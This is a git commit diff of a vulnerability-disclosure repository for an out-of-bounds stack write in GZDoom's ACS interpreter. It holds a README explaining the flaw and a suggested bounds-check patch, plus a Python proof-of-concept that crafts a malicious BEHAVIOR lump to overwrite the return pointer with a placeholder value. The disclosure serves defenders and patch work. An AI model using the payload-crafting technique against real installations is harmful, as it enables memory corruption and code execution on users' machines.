summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--README.md67
-rw-r--r--example.wadbin9286 -> 25769 bytes
-rw-r--r--exploit.py39
-rw-r--r--logo.pngbin96456 -> 4368 bytes
4 files changed, 84 insertions, 22 deletions
diff --git a/README.md b/README.md
index e4191d4..480c9b4 100644
--- a/README.md
+++ b/README.md
@@ -1,10 +1,69 @@
![Bad BEHAVIOR][img_1]
-## Proof of concept exploit and research by [Jakob.][1]
-Exploit of GZDoom's ACS interpreter, performing an out-of-bounds write with
-maliciously-crafted ACS bytecode.
+A vulnerability was recently discovered that affects several implementations of
+ACS, a domain-specific scripting language for Doom maps. As a stack machine, ACS
+has several opcodes for incrementing and decrementing a stack pointer. If these
+increments and decrements are performed without bounds checking, it is possible
+for a maliciously-crafted BEHAVIOR lump to produce an out-of-bounds write. Here
+is the implementation of the PUSHBYTE opcode, taken from GZDoom's ACS
+interpreter:
+```c
+case PCD_PUSHBYTE:
+ PushToStack (*(uint8_t *)pc);
+ pc = (int *)((uint8_t *)pc + 1);
+ break;
+```
-[1]: http://jakob.space/
+Where PushToStack is a macro defined as:
+
+```c
+#define PushToStack(a) (Stack[sp++] = (a))
+```
+
+The stack pointer is incremented, but it does not check to see if the new value
+is greater than the stack's maximum size. Because the buffer used by the
+interpreter is placed on the process's stack, it is possible to overwrite the
+interpreter routine's return pointer, resulting in arbitrary code execution.
+
+**Maintainers of Doom source ports,**
+
+It is critical that you inspect your port's implementation of the ACS
+interpreter, and patch it if vulnerable to the exploit presented here. Every
+opcode that modifies the stack pointer should perform a bounds check, ensuring
+that it does not fall below 0, and does not rise greater than the maximum index
+of the stack buffer. A rather crude example of a solution for PUSHBYTE is shown
+below, however, brevity could be retained by making use of operator overloading,
+or using a class with methods for pushing and popping that do perform bounds
+checking.
+
+```c
+case PCD_PUSHBYTE:
+ if (++sp >= STACK_SIZE) {
+ I_Error("Corrupted stack pointer in ACS VM");
+ }
+ Stack[sp] = (*(uint8_t *)pc);
+ pc = (int *)((uint8_t *)pc + 1);
+ break;
+```
+
+Provided for vulnerability assessment is the file `example.wad`, which contains
+a BEHAVIOR lump that will overwrite the interpreter routine's return pointer in
+the latest GZDoom development builds. The stack offset should be different
+across different source ports, but implementations where the vulnerability has
+been dealt with should throw an error upon loading MAP01 regardless.
+
+Additionally provided is a Python script which will craft a malicious BEHAVIOR
+lump to write 0xdeadbeefcafebabe at a given offset from the beginning of the
+interpreter's stack buffer. This is intentionally very obtuse to work with,
+however if you are a source port maintainer and would like to be able to further
+experiment with the vulnerability, it is provided in its full form. A majority
+of the code is present to form a valid BEHAVIOR lump; the real exploit is only
+in the creation of the `payload` list.
+
+A more detailed and prose-like writeup, with details on the research process is
+[available here][1].
+
+[1]: http://jakob.space/blog/post/Bad+BEHAVIOR
[img_1]: https://raw.githubusercontent.com/TsarFox/bad-behavior/master/logo.png
diff --git a/example.wad b/example.wad
index bc4d145..7adbf32 100644
--- a/example.wad
+++ b/example.wad
Binary files differ
diff --git a/exploit.py b/exploit.py
index 73635c8..d13b602 100644
--- a/exploit.py
+++ b/exploit.py
@@ -1,5 +1,19 @@
#!/usr/bin/env python
+# Copyright (c) 2017 Jakob L. Kreuze
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, version 3.
+#
+# This program is distributed in the hope that it will be useful, but
+# WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+# General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+
import os
import struct
import sys
@@ -9,9 +23,6 @@ import sys
# SIZE (Excluding CHUNK and SIZE) [4 bytes]
# CONTENTS [SIZE bytes]
-# PCD_ASSIGNSCRIPTVAR was chosen because it fits into the single-byte
-# opcode size range and doesn't place anything onto the stack.
-
STACK_SIZE = 0x1000
CODE_HEADER = [0x41, 0x43, 0x53, 0x00]
@@ -21,17 +32,10 @@ FOOTTAB_HEADER = [0x41, 0x43, 0x53, 0x65]
PCD_NOP = 0
PCD_TERMINATE = 1
PCD_PUSHNUMBER = 3
-PCD_ASSIGNSCRIPTVAR = 25
PCD_PUSHBYTE = 167
-PCD_PUSHBYTES = 175
-PCD_PUSH5BYTES = 179
-
-# assert(sp == 0) is only compiled in DEBUG builds.
-# You should probably throw some debug prints into the source code,
-# finding the address of `Stack`, and the address of the return
-# address on the stack. For me, `Stack` is at an offset of 4122 before
-# the return address.
+# assert(sp == 0) is only compiled in DEBUG builds, so cleaning up the
+# stack is not necessary.
# Scripts must be aligned to 32 bits.
def align_script(code: list) -> list:
@@ -40,23 +44,22 @@ def align_script(code: list) -> list:
if __name__ == "__main__":
- if len(sys.argv) != 3:
- sys.stderr.write("usage: {} [RET OFFSET] [RET ADDR]\n".format(sys.argv[0]))
+ if len(sys.argv) != 2:
+ sys.stderr.write("usage: {} [RET OFFSET]\n".format(sys.argv[0]))
sys.exit(1)
desired_offset = int(sys.argv[1])
- return_address = int(sys.argv[2])
dest = "BEHAVIOR.lmp"
# Smash stackobj.sp
- payload = [PCD_PUSHBYTE] * (STACK_SIZE * 2)
+ payload = [0x55, 0x58, 0x56] * (STACK_SIZE * 2)
# Overwrite stackobj.sp
payload += [PCD_PUSHNUMBER] + list(struct.pack("i", desired_offset))
# Smash the return pointer
- least_sig = list(struct.pack("Q", return_address))[:4]
- most_sig = list(struct.pack("Q", return_address))[4:]
+ least_sig = list(struct.pack("Q", 0xcafebabe))[:4]
+ most_sig = list(struct.pack("Q", 0xdeadbeef))[4:]
payload += [PCD_PUSHNUMBER] + least_sig + [PCD_PUSHNUMBER] + most_sig
payload.append(PCD_TERMINATE)
diff --git a/logo.png b/logo.png
index 66ea3a3..f9b6ae8 100644
--- a/logo.png
+++ b/logo.png
Binary files differ